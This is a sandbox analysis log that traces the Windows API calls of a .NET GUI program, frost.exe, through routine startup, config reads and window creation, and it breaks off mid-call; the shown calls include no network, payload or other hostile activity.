# Flog Txt Version 1 # Analyzer Version: 3.1.2 # Analyzer Build Date: Oct 28 2019 11:51:53 # Log Creation Date: 08.01.2020 05:25:05.720 Process: id = "1" image_name = "frost.exe" filename = "c:\\users\\fd1hvy\\desktop\\frost.exe" page_root = "0x66121000" os_pid = "0xf90" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\FD1HVy\\Desktop\\frost.exe\" " cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0xf88 [0040.266] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0040.653] RoInitialize () returned 0x1 [0040.653] RoUninitialize () returned 0x0 [0043.612] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0x10fdd78 | out: phkResult=0x10fdd78*=0x0) returned 0x2 [0043.612] RegCloseKey (hKey=0xffffffff80000002) returned 0x0 [0043.622] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Windows.Forms\\v4.0_4.0.0.0__b77a5c561934e089\\System.Windows.Forms.dll", nBufferLength=0x105, lpBuffer=0x10fe830, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Windows.Forms\\v4.0_4.0.0.0__b77a5c561934e089\\System.Windows.Forms.dll", lpFilePart=0x0) returned 0x77 [0043.636] IsAppThemed () returned 0x1 [0043.640] CoTaskMemAlloc (cb=0xf0) returned 0x130b4d0 [0043.640] CreateActCtxA (pActCtx=0x10fee40) returned 0x1301f88 [0043.721] CoTaskMemFree (pv=0x130b4d0) [0043.729] RegisterClipboardFormatW (lpszFormat="WM_GETCONTROLNAME") returned 0xc151 [0043.729] RegisterClipboardFormatW (lpszFormat="WM_GETCONTROLTYPE") returned 0xc16c [0043.776] GetUserNameW (in: lpBuffer=0x10fec10, pcbBuffer=0x10fef38 | out: lpBuffer="FD1HVy", pcbBuffer=0x10fef38) returned 1 [0043.914] GetComputerNameW (in: lpBuffer=0x10fec10, nSize=0x10fef38 | out: lpBuffer="NQDPDE", nSize=0x10fef38) returned 1 [0044.822] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\frost.exe.config", nBufferLength=0x105, lpBuffer=0x10fe3e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\frost.exe.config", lpFilePart=0x0) returned 0x28 [0045.888] GetCurrentProcess () returned 0xffffffffffffffff [0045.889] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x10fe6e8 | out: TokenHandle=0x10fe6e8*=0x2b4) returned 1 [0045.893] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\", nBufferLength=0x105, lpBuffer=0x10fe0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\", lpFilePart=0x0) returned 0x30 [0045.896] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x10fe790 | out: lpFileInformation=0x10fe790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fdfbae, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x982bc0b8, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x982bc0b8, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x8c8f)) returned 1 [0045.898] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x10fe0e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x45 [0045.899] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x10fe788 | out: lpFileInformation=0x10fe788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fdfbae, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x982bc0b8, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x982bc0b8, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x8c8f)) returned 1 [0045.901] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x10fe0e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x45 [0045.908] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fe600) returned 1 [0045.908] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\machine.config"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x2b8 [0045.908] GetFileType (hFile=0x2b8) returned 0x1 [0045.908] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fe570) returned 1 [0045.908] GetFileType (hFile=0x2b8) returned 0x1 [0045.942] GetFileSize (in: hFile=0x2b8, lpFileSizeHigh=0x10fe6d8 | out: lpFileSizeHigh=0x10fe6d8*=0x0) returned 0x8c8f [0045.942] ReadFile (in: hFile=0x2b8, lpBuffer=0x2f8eba0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x10fe648, lpOverlapped=0x0 | out: lpBuffer=0x2f8eba0*, lpNumberOfBytesRead=0x10fe648*=0x1000, lpOverlapped=0x0) returned 1 [0045.960] ReadFile (in: hFile=0x2b8, lpBuffer=0x2f8eba0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x10fe3f8, lpOverlapped=0x0 | out: lpBuffer=0x2f8eba0*, lpNumberOfBytesRead=0x10fe3f8*=0x1000, lpOverlapped=0x0) returned 1 [0045.961] ReadFile (in: hFile=0x2b8, lpBuffer=0x2f8eba0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x10fe1c8, lpOverlapped=0x0 | out: lpBuffer=0x2f8eba0*, lpNumberOfBytesRead=0x10fe1c8*=0x1000, lpOverlapped=0x0) returned 1 [0045.962] ReadFile (in: hFile=0x2b8, lpBuffer=0x2f8eba0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x10fe1c8, lpOverlapped=0x0 | out: lpBuffer=0x2f8eba0*, lpNumberOfBytesRead=0x10fe1c8*=0x1000, lpOverlapped=0x0) returned 1 [0045.962] ReadFile (in: hFile=0x2b8, lpBuffer=0x2f8eba0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x10fe1c8, lpOverlapped=0x0 | out: lpBuffer=0x2f8eba0*, lpNumberOfBytesRead=0x10fe1c8*=0x1000, lpOverlapped=0x0) returned 1 [0045.963] ReadFile (in: hFile=0x2b8, lpBuffer=0x2f8eba0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x10fe068, lpOverlapped=0x0 | out: lpBuffer=0x2f8eba0*, lpNumberOfBytesRead=0x10fe068*=0x1000, lpOverlapped=0x0) returned 1 [0045.970] ReadFile (in: hFile=0x2b8, lpBuffer=0x2f8eba0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x10fe308, lpOverlapped=0x0 | out: lpBuffer=0x2f8eba0*, lpNumberOfBytesRead=0x10fe308*=0x1000, lpOverlapped=0x0) returned 1 [0045.988] ReadFile (in: hFile=0x2b8, lpBuffer=0x2f8eba0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x10fe1f8, lpOverlapped=0x0 | out: lpBuffer=0x2f8eba0*, lpNumberOfBytesRead=0x10fe1f8*=0x1000, lpOverlapped=0x0) returned 1 [0045.988] ReadFile (in: hFile=0x2b8, lpBuffer=0x2f8eba0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x10fe1f8, lpOverlapped=0x0 | out: lpBuffer=0x2f8eba0*, lpNumberOfBytesRead=0x10fe1f8*=0xc8f, lpOverlapped=0x0) returned 1 [0045.988] ReadFile (in: hFile=0x2b8, lpBuffer=0x2f8eba0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x10fe308, lpOverlapped=0x0 | out: lpBuffer=0x2f8eba0*, lpNumberOfBytesRead=0x10fe308*=0x0, lpOverlapped=0x0) returned 1 [0045.988] CloseHandle (hObject=0x2b8) returned 1 [0045.990] GetCurrentProcess () returned 0xffffffffffffffff [0045.990] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x10fe8a8 | out: TokenHandle=0x10fe8a8*=0x2b8) returned 1 [0045.991] GetCurrentProcess () returned 0xffffffffffffffff [0045.991] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x10fe8a8 | out: TokenHandle=0x10fe8a8*=0x2bc) returned 1 [0045.991] GetCurrentProcess () returned 0xffffffffffffffff [0045.991] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x10fe6e8 | out: TokenHandle=0x10fe6e8*=0x2c0) returned 1 [0045.992] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\frost.exe.config" (normalized: "c:\\users\\fd1hvy\\desktop\\frost.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x10fe790 | out: lpFileInformation=0x10fe790*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0045.992] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\frost.exe.config", nBufferLength=0x105, lpBuffer=0x10fe0e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\frost.exe.config", lpFilePart=0x0) returned 0x28 [0045.992] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\frost.exe.config" (normalized: "c:\\users\\fd1hvy\\desktop\\frost.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x10fe788 | out: lpFileInformation=0x10fe788*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0045.993] GetCurrentProcess () returned 0xffffffffffffffff [0045.993] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x10fe8a8 | out: TokenHandle=0x10fe8a8*=0x2c4) returned 1 [0045.993] GetCurrentProcess () returned 0xffffffffffffffff [0045.993] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x10fe8a8 | out: TokenHandle=0x10fe8a8*=0x2c8) returned 1 [0046.011] GetCurrentProcess () returned 0xffffffffffffffff [0046.011] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x10fe5b8 | out: TokenHandle=0x10fe5b8*=0x2cc) returned 1 [0046.016] GetCurrentProcess () returned 0xffffffffffffffff [0046.016] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x10fe5c8 | out: TokenHandle=0x10fe5c8*=0x2d0) returned 1 [0046.106] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x0 [0046.108] LoadLibraryW (lpLibFileName="comctl32.dll") returned 0x7ff91a8a0000 [0046.578] AdjustWindowRectEx (in: lpRect=0x10fee70, dwStyle=0x56cf0000, bMenu=0, dwExStyle=0x50001 | out: lpRect=0x10fee70) returned 1 [0046.585] GetCurrentProcess () returned 0xffffffffffffffff [0046.585] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xfffffffffffffffe, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fec60, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x10fec60*=0x2d8) returned 1 [0046.601] GetCurrentActCtx (in: lphActCtx=0x10feb60 | out: lphActCtx=0x10feb60*=0x0) returned 1 [0046.601] ActivateActCtx (in: hActCtx=0x1301f88, lpCookie=0x10feba0 | out: hActCtx=0x1301f88, lpCookie=0x10feba0) returned 1 [0046.601] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x0 [0046.602] LoadLibraryW (lpLibFileName="comctl32.dll") returned 0x7ff9270a0000 [0047.217] GetModuleHandleW (lpModuleName="user32.dll") returned 0x7ff931730000 [0047.218] GetProcAddress (hModule=0x7ff931730000, lpProcName="DefWindowProcW") returned 0x7ff931fe5090 [0047.218] GetStockObject (i=5) returned 0x900015 [0047.222] GetModuleHandleW (lpModuleName=0x0) returned 0xcb0000 [0047.227] CoTaskMemAlloc (cb=0x5a) returned 0x12fae50 [0047.227] RegisterClassW (lpWndClass=0x10fe850) returned 0xc16e [0047.227] CoTaskMemFree (pv=0x12fae50) [0047.228] GetModuleHandleW (lpModuleName=0x0) returned 0xcb0000 [0047.228] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r6_ad1", lpWindowName=0x0, dwStyle=0x2010000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0xfffffffffffffffd, hMenu=0x0, hInstance=0xcb0000, lpParam=0x0) returned 0x3023e [0047.234] SetWindowLongPtrW (hWnd=0x3023e, nIndex=-4, dwNewLong=0x7ff931fe5090) returned 0x1b8b086c [0047.236] GetWindowLongPtrW (hWnd=0x3023e, nIndex=-4) returned 0x7ff931fe5090 [0047.242] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\.NETFramework", ulOptions=0x0, samDesired=0x20019, phkResult=0x10fdbc8 | out: phkResult=0x10fdbc8*=0x2f0) returned 0x0 [0047.243] RegQueryValueExW (in: hKey=0x2f0, lpValueName="DbgJITDebugLaunchSetting", lpReserved=0x0, lpType=0x10fdc18, lpData=0x0, lpcbData=0x10fdc10*=0x0 | out: lpType=0x10fdc18*=0x0, lpData=0x0, lpcbData=0x10fdc10*=0x0) returned 0x2 [0047.243] RegQueryValueExW (in: hKey=0x2f0, lpValueName="DbgManagedDebugger", lpReserved=0x0, lpType=0x10fdc18, lpData=0x0, lpcbData=0x10fdc10*=0x0 | out: lpType=0x10fdc18*=0x0, lpData=0x0, lpcbData=0x10fdc10*=0x0) returned 0x2 [0047.244] RegCloseKey (hKey=0x2f0) returned 0x0 [0047.246] SetWindowLongPtrW (hWnd=0x3023e, nIndex=-4, dwNewLong=0x1b8b08bc) returned 0x7ff931fe5090 [0047.246] GetWindowLongPtrW (hWnd=0x3023e, nIndex=-4) returned 0x1b8b08bc [0047.246] GetWindowLongPtrW (hWnd=0x3023e, nIndex=-16) returned 0x6c10000 [0047.248] RegisterClipboardFormatW (lpszFormat="WinFormsMouseEnter") returned 0xc173 [0047.249] RegisterClipboardFormatW (lpszFormat="WinFormsUnSubclass") returned 0xc174 [0047.250] CallWindowProcW (lpPrevWndFunc=0x7ff931fe5090, hWnd=0x3023e, Msg=0x81, wParam=0x0, lParam=0x10fe200) returned 0x1 [0047.251] CallWindowProcW (lpPrevWndFunc=0x7ff931fe5090, hWnd=0x3023e, Msg=0x83, wParam=0x0, lParam=0x10fe2b0) returned 0x0 [0047.422] CallWindowProcW (lpPrevWndFunc=0x7ff931fe5090, hWnd=0x3023e, Msg=0x1, wParam=0x0, lParam=0x10fe200) returned 0x0 [0047.422] GetClientRect (in: hWnd=0x3023e, lpRect=0x10fdc20 | out: lpRect=0x10fdc20) returned 1 [0047.422] GetWindowRect (in: hWnd=0x3023e, lpRect=0x10fdc20 | out: lpRect=0x10fdc20) returned 1 [0047.427] GetParent (hWnd=0x3023e) returned 0x0 [0047.427] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001ef4c00000001) returned 1 [0048.100] EtwEventRegister (in: ProviderId=0x2fb4048, EnableCallback=0x1b8b090c, CallbackContext=0x0, RegHandle=0x2fb4028 | out: RegHandle=0x2fb4028) returned 0x0 [0048.105] EtwEventSetInformation (RegHandle=0x36000001309730, InformationClass=0x2, EventInformation=0x2fb3fb0, InformationLength=0x33) returned 0x0 [0048.114] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7ff91a8a0000 [0048.115] AdjustWindowRectEx (in: lpRect=0x10feda0, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x10feda0) returned 1 [0048.115] GetSystemMetrics (nIndex=59) returned 1460 [0048.115] GetSystemMetrics (nIndex=60) returned 920 [0048.115] GetSystemMetrics (nIndex=34) returned 136 [0048.115] GetSystemMetrics (nIndex=35) returned 39 [0048.116] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7ff91a8a0000 [0048.116] AdjustWindowRectEx (in: lpRect=0x10feb60, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x10feb60) returned 1 [0048.121] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\frost.exe.config", nBufferLength=0x105, lpBuffer=0x10fe550, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\frost.exe.config", lpFilePart=0x0) returned 0x28 [0048.121] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fea20) returned 1 [0048.121] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\frost.exe.config" (normalized: "c:\\users\\fd1hvy\\desktop\\frost.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x10feb00 | out: lpFileInformation=0x10feb00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0048.121] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fe9e0) returned 1 [0048.900] GetSystemMetrics (nIndex=11) returned 32 [0048.900] GetSystemMetrics (nIndex=12) returned 32 [0048.900] GetDC (hWnd=0x0) returned 0x10105d6 [0048.905] GetDeviceCaps (hdc=0x10105d6, index=12) returned 32 [0048.905] GetDeviceCaps (hdc=0x10105d6, index=14) returned 1 [0048.906] ReleaseDC (hWnd=0x0, hDC=0x10105d6) returned 1 [0048.907] CreateIconFromResourceEx (presbits=0x2fd5db8, dwResSize=0x10a8, fIcon=1, dwVer=0x30000, cxDesired=0, cyDesired=0, Flags=0x0) returned 0xc0249 [0048.920] CreateCompatibleDC (hdc=0x0) returned 0x240104fb [0048.922] GetSystemDefaultLCID () returned 0x409 [0048.922] GetStockObject (i=17) returned 0xa01c1 [0048.924] GetObjectW (in: h=0xa01c1, c=92, pv=0x10fe880 | out: pv=0x10fe880) returned 92 [0048.924] GetDC (hWnd=0x0) returned 0x10105d6 [0048.939] GdiplusStartup (in: token=0x7ff8b24a6dd0, input=0x10fd308, output=0x10fd3b8 | out: token=0x7ff8b24a6dd0, output=0x10fd3b8) returned 0x0 [0048.944] CoTaskMemAlloc (cb=0x5c) returned 0x12fb2b0 [0048.945] GdipCreateFontFromLogfontW (hdc=0x10105d6, logfont=0x12fb2b0, font=0x10fe9c0) returned 0x0 [0049.293] CoTaskMemFree (pv=0x12fb2b0) [0049.294] CoTaskMemAlloc (cb=0x5c) returned 0x12fb2b0 [0049.294] CoTaskMemFree (pv=0x12fb2b0) [0049.295] CoTaskMemAlloc (cb=0x5c) returned 0x12fb2b0 [0049.295] CoTaskMemFree (pv=0x12fb2b0) [0049.296] GdipGetFontUnit (font=0x1b8934f0, unit=0x10fe930) returned 0x0 [0049.296] GdipGetFontSize (font=0x1b8934f0, size=0x10fe93c) returned 0x0 [0049.296] GdipGetFontStyle (font=0x1b8934f0, style=0x10fe928) returned 0x0 [0049.297] GdipGetFamily (font=0x1b8934f0, family=0x10fe920) returned 0x0 [0049.299] GdipGetFontSize (font=0x1b8934f0, size=0x2fd7620) returned 0x0 [0049.299] ReleaseDC (hWnd=0x0, hDC=0x10105d6) returned 1 [0049.301] GetDC (hWnd=0x0) returned 0x10105d6 [0049.301] GdipCreateFromHDC (hdc=0x10105d6, graphics=0x10fe928) returned 0x0 [0049.305] GdipGetDpiY (graphics=0x1cad1520, dpi=0x2fd77b0) returned 0x0 [0049.305] GdipGetFontHeight (font=0x1b8934f0, graphics=0x1cad1520, height=0x10fe924) returned 0x0 [0049.307] GdipGetEmHeight (family=0x1b899950, style=0, EmHeight=0x10fe928) returned 0x0 [0049.309] GdipGetLineSpacing (family=0x1b899950, style=0, LineSpacing=0x10fe928) returned 0x0 [0049.309] GdipDeleteGraphics (graphics=0x1cad1520) returned 0x0 [0049.309] ReleaseDC (hWnd=0x0, hDC=0x10105d6) returned 1 [0049.314] GdipCreateFont (fontFamily=0x1b899950, emSize=0x7ff90f53da75, style=0, unit=0x3, font=0x2fd77e8) returned 0x0 [0049.314] GdipGetFontSize (font=0x1b89ebe0, size=0x2fd77f0) returned 0x0 [0049.315] GdipDeleteFont (font=0x1b8934f0) returned 0x0 [0049.319] GetDC (hWnd=0x0) returned 0x10105d6 [0049.319] GdipCreateFromHDC (hdc=0x10105d6, graphics=0x10fe9e8) returned 0x0 [0049.319] CoTaskMemAlloc (cb=0x5c) returned 0x12fb2b0 [0049.319] GdipGetLogFontW (font=0x1b89ebe0, graphics=0x1cad1520, logfontW=0x12fb2b0) returned 0x0 [0049.321] CoTaskMemFree (pv=0x12fb2b0) [0049.321] CoTaskMemAlloc (cb=0x5c) returned 0x12fb2b0 [0049.321] CoTaskMemFree (pv=0x12fb2b0) [0049.321] CoTaskMemAlloc (cb=0x5c) returned 0x12fb2b0 [0049.321] CoTaskMemFree (pv=0x12fb2b0) [0049.322] GdipDeleteGraphics (graphics=0x1cad1520) returned 0x0 [0049.322] ReleaseDC (hWnd=0x0, hDC=0x10105d6) returned 1 [0049.322] CoTaskMemAlloc (cb=0x5c) returned 0x12fb550 [0049.322] CreateFontIndirectW (lplf=0x12fb550) returned 0x6a0a06f7 [0049.322] CoTaskMemFree (pv=0x12fb550) [0049.323] SelectObject (hdc=0x240104fb, h=0x6a0a06f7) returned 0x8a01c2 [0049.323] GetTextMetricsW (in: hdc=0x240104fb, lptm=0x10fec68 | out: lptm=0x10fec68) returned 1 [0049.327] GetTextExtentPoint32W (in: hdc=0x240104fb, lpString="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", c=52, psizl=0x2fd7b70 | out: psizl=0x2fd7b70) returned 1 [0049.329] SelectObject (hdc=0x240104fb, h=0x8a01c2) returned 0x6a0a06f7 [0049.330] DeleteDC (hdc=0x240104fb) returned 1 [0049.338] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7ff91a8a0000 [0049.339] AdjustWindowRectEx (in: lpRect=0x10fe8c0, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x10fe8c0) returned 1 [0049.339] AdjustWindowRectEx (in: lpRect=0x10feb40, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x10feb40) returned 1 [0049.339] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7ff91a8a0000 [0049.339] AdjustWindowRectEx (in: lpRect=0x10fe7b0, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x10fe7b0) returned 1 [0049.339] AdjustWindowRectEx (in: lpRect=0x10fe930, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x10fe930) returned 1 [0049.344] GetSystemMetrics (nIndex=34) returned 136 [0049.344] GetSystemMetrics (nIndex=35) returned 39 [0049.347] GetCurrentActCtx (in: lphActCtx=0x10fef30 | out: lphActCtx=0x10fef30*=0x0) returned 1 [0049.347] ActivateActCtx (in: hActCtx=0x1301f88, lpCookie=0x10fef70 | out: hActCtx=0x1301f88, lpCookie=0x10fef70) returned 1 [0049.348] GetCurrentActCtx (in: lphActCtx=0x10febd0 | out: lphActCtx=0x10febd0*=0x1301f88) returned 1 [0049.348] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7ff9270a0000 [0049.348] AdjustWindowRectEx (in: lpRect=0x10feaf0, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x10feaf0) returned 1 [0049.348] GetModuleHandleW (lpModuleName=0x0) returned 0xcb0000 [0049.348] CreateWindowExW (dwExStyle=0x50000, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r6_ad1", lpWindowName="Frost", dwStyle=0x2cf0000, X=-2147483648, Y=-2147483648, nWidth=140, nHeight=94, hWndParent=0x0, hMenu=0x0, hInstance=0xcb0000, lpParam=0x0) returned 0x80052 [0049.348] SetWindowLongPtrW (hWnd=0x80052, nIndex=-4, dwNewLong=0x7ff931fe5090) returned 0x1b8b086c [0049.349] GetWindowLongPtrW (hWnd=0x80052, nIndex=-4) returned 0x7ff931fe5090 [0049.349] SetWindowLongPtrW (hWnd=0x80052, nIndex=-4, dwNewLong=0x1b8b095c) returned 0x7ff931fe5090 [0049.349] GetWindowLongPtrW (hWnd=0x80052, nIndex=-4) returned 0x1b8b095c [0049.349] GetWindowLongPtrW (hWnd=0x80052, nIndex=-16) returned 0x6cf0000 [0049.349] CallWindowProcW (lpPrevWndFunc=0x7ff931fe5090, hWnd=0x80052, Msg=0x81, wParam=0x0, lParam=0x10fe270) returned 0x1 [0049.352] CallWindowProcW (lpPrevWndFunc=0x7ff931fe5090, hWnd=0x80052, Msg=0x83, wParam=0x0, lParam=0x10fe320) returned 0x0 [0049.353] CallWindowProcW (lpPrevWndFunc=0x7ff931fe5090, hWnd=0x80052, Msg=0x1, wParam=0x0, lParam=0x10fe250) returned 0x0 [0049.353] GetClientRect (in: hWnd=0x80052, lpRect=0x10fdc30 | out: lpRect=0x10fdc30) returned 1 [0049.353] GetWindowRect (in: hWnd=0x80052, lpRect=0x10fdc30 | out: lpRect=0x10fdc30) returned 1 [0049.354] SetWindowTextW (hWnd=0x80052, lpString="Frost") returned 1 [0049.354] CallWindowProcW (lpPrevWndFunc=0x7ff931fe5090, hWnd=0x80052, Msg=0xc, wParam=0x0, lParam=0x2fb3a74) returned 0x1 [0049.365] GetUserObjectInformationA (in: hObj=0xe8, nIndex=1, pvInfo=0x2fd8390, nLength=0xc, lpnLengthNeeded=0x10fd9b0 | out: pvInfo=0x2fd8390, lpnLengthNeeded=0x10fd9b0) returned 1 [0049.367] SetConsoleCtrlHandler (HandlerRoutine=0x1b8b09ac, Add=1) returned 1 [0049.368] GetModuleHandleW (lpModuleName=0x0) returned 0xcb0000 [0049.368] GetModuleHandleW (lpModuleName=0x0) returned 0xcb0000 [0049.370] GetClassInfoW (in: hInstance=0xcb0000, lpClassName=".NET-BroadcastEventWindow.4.0.0.0.141b42a.0", lpWndClass=0x2fd8450 | out: lpWndClass=0x2fd8450) returned 0 [0049.370] CoTaskMemAlloc (cb=0x58) returned 0x131e340 [0049.370] RegisterClassW (lpWndClass=0x10fd7c0) returned 0xc176 [0049.370] CoTaskMemFree (pv=0x131e340) [0049.372] CreateWindowExW (dwExStyle=0x0, lpClassName=".NET-BroadcastEventWindow.4.0.0.0.141b42a.0", lpWindowName=".NET-BroadcastEventWindow.4.0.0.0.141b42a.0", dwStyle=0x80000000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0xcb0000, lpParam=0x0) returned 0x20220 [0049.374] NtdllDefWindowProc_W (hWnd=0x20220, Msg=0x83, wParam=0x0, 